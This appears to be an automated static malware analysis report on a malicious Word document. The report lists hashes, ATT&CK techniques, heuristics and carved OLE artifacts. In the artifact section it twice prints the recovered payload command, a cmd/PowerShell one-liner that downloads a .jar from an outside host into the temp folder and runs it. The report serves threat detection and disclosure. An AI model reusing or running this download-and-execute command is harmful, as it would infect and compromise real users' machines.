Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ce52aabbca474252…

MALICIOUS

Office (OOXML)

92.4 KB Created: 2019-04-12 15:07:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2019-11-20
MD5: fac8c7cc506dd3c2526fdf71469cfdcf SHA-1: 7cbf81585aa046b8721c550bb9143c6f8e8ac095 SHA-256: ce52aabbca474252312973a3c77fffa378373b684d21ee689ceeff6ce28cf739
84 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The file is a malicious OOXML document containing an embedded OLE object. Static triage identified suspicious shellcode command strings and a URL associated with the embedded object. This suggests the document is designed to exploit vulnerabilities or trick the user into executing a malicious payload, likely downloaded from the identified URL.

Heuristics 4

  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded OLE object medium OOXML_OLE_OBJECT
    Document contains an embedded OLE object
  • Payload URL recovered from embedded OLE object (1 URL) info OOXML_EMBEDDED_OBJECT_URL
    An embedded OLE object (xl/word/ppt embeddings) carries a next-stage download URL in its Ole10Native/Package stream — stored literally (incl. UTF-16) or base64-encoded — which the package-level URL sweep does not see. Surfaced as an IOC; self-validating (only real payload hosts).
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://hfik.mobi In document text (OOXML body / shared strings)
    • http://hfik.mobi\In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
ooxml_oleobject_00.bin ooxml-ole-object OOXML embedded OLE part: word/embeddings/oleObject1.bin 314368 bytes
SHA-256: b4b8214ff432d101cad1dc8fc947a3a4103c2ecd67746f655f613ca13372a931
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://hfik.mobi\ Static shellcode analysis recovered command string(s): cmd|'/c powershell -command "& { (new-object System.Net.WebClient).DownloadFile(\"http://hfik.mobi\" ,\" %temp%\\SHYkPP.jar\") }" & %temp%\\SHYkPP.jar'!'P73'66
ooxml_oleobject_00_ole10native_00.bin ole-package OOXML word/embeddings/oleObject1.bin Ole10Native stream: Ole10Native 309685 bytes
SHA-256: 3cf046a2910aa0cc252ed83b2d47c3a579e5508810ac66ef28df0459b45ff3c8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://hfik.mobi\ Static shellcode analysis recovered command string(s): cmd|'/c powershell -command "& { (new-object System.Net.WebClient).DownloadFile(\"http://hfik.mobi\" ,\" %temp%\\SHYkPP.jar\") }" & %temp%\\SHYkPP.jar'!'P73'66
emf_00.emf ooxml-emf OOXML EMF part: word/media/image2.emf 5636 bytes
SHA-256: 1296be8ef3e7f93fadcc0741b69c5d7552e43db89ae1aafe2b9b7440b107d502

Open this report in the interactive analyzer, or submit your own file for analysis.